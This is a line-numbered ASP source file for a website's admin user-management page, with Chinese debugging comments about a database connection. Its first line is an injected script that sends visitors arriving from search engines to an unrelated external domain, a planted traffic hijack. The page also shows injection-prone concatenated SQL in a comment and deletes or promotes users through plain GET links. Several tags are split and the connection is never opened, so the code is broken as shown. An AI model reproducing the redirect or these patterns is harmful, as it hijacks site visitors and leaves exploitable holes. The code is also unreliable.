d:\wwwroot\wuchunhua\zhuce\userlist.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002:
003: <%
004:    if session("Passed")<>True or session("admin")<>1 then
005:       response.redirect "index.asp"
006:    end if
007: %
>
008: <!--#include file="chkpwd.asp"-->
009: <%
010:    dim rs,sql
011:   
012:    database = "data/data.mdb"
013:   
014:    '原文:删除?测试失败 会
015:   
016:    set rs=server.createobject("adodb.recordset")
017:   
018: '原文?   set conn=server.Createobject("Adodb.connection")    '这里加一句代码就可以解决了
019:   
020: '原文?connstr="provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(database)
021: '原文?conn.Open=connstr '吴春华添加的 这里你改成你的数据库位置
022:   
023:    sql="select id,username,email from users"
024:    rs.open sql,conn,1,1
025: '1,1为只读数据
026: '数据库连接conn对象未打开 Dim database,conn,connstr
027: 'database = "data/data.mdb"
028: 'Set conn=server.createobject("ADODB.Connection")
029: 'connstr="provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(database)
030: 'conn.Open connstr
031:
032: '我看了你的代码中, 发现 rs.open sql,conn,1,1 处的 conn 没有在前面初始化过
033: '应该有
034: 'Set conn = Server.CreateObject("ADODB.Connection")
035: 'conn.open "Provider=Microsoft.JET.OLEDB.4.0; Data Source=c:\abc.mdb" ' 这里你改成你的数据库位置
036: '这样再使用
037: 'rs.open sql,conn,1,1
038: '就不会出错
039: '还有, 尽量在 SQL 语句中将表名与字段名括起来
040: 'SELECT * FROM [User] WHERE [UserPassWord] = '" & password & "' AND [username] = '" & nick & "'" 31567希望对你有帮助!
041:
042:
043:    '   连接无法用于执行此操作。在此上下文中它可能已被关闭或无效。:如果set rs在已打开的状态下,再用rs打开另一个连接,就会报“对象打开时,不允许操作”,注意,这里的“对象”是指rs。用rs的情况也是一样的。
044: '但是如果userRst在已打开的状态下,再用rst(空的记录集对象)打开同一个连接是不会出错的,是允许的。这一点要搞清楚!估计你的问题,是因为在循环结束的时候没有关闭rst造成的(循环第一次运行是正常的,但第二次返回来再运行的时候因为rst没关闭,再打开就会报错了),检查一下你的代码有没有下面的语句:......    rst.close         loop -->

045:
046: %
>
047: <div style="text-indent: 600px;padding-bottom: 10px;">用户管理</div>
048: <div style="text-indent: 550px;padding-bottom: 10px;">[[<%=Session("username")%>]]您好,你的身份是管理员!</div>
049: <table border="1" width="700" align="center">
050:    <tr><th>用 户 名</th><th>用户姓名</th><th>电子邮件</th><th>操  作</th><th>管 理 员</th></tr>
051:    <%
052:       do while not rs.eof
053:    %
>
054:    <tr><td><%=rs("username")%></td><td><%=rs("zname")%></td><td><%=rs("email")%></td><td align="center">
055:       <a href="useredit.asp?username=<%=rs("username")%>">修改</a>
056:       <%
057:          if rs("admin") <> 1 then
058:             response.write "<a href='userlist.asp?username="&rs("username")&"&delete=ok'>删除</a>"
059:          end if
060:       %
>
061:    </td>
062:    <td>
063:       <%
064:          if rs("admin") <> 1 then
065:             response.write " 否 "
066:             response.write "<a href='userlist.asp?username="&rs("username")&"&admin=ok'>提升</a>"
067:          else
068:             response.write "  是"
069:          end if
070:       %
>
071:    </td>
072:    </tr>
073:    <%
074:       rs.movenext
075:       ' rs.close '测试失败 不添加:我添加这句:否则会重复打开? -->

076:       loop
077:    %>
078:    <tr><td colspan="5" align="center">
079:       <%
080:          if rs.recordcount=0 then
081:             response.write "当前没有用户"
082:          else
083:             response.write "当前有" &rs.recordcount& "位用户"
084:          end if
085:       %
>
086:    </td></tr>
087: </table>
088: <p align='center'><a href="index.asp">我的界面</a> <a href='index.asp?out=ok'>退出登陆</a></p>
089: </body>
090: </html>
091: <%
092:    rs.close
093:    set rs=nothing
094:    conn.close
095:    set conn=nothing
096: %
>
097:
098: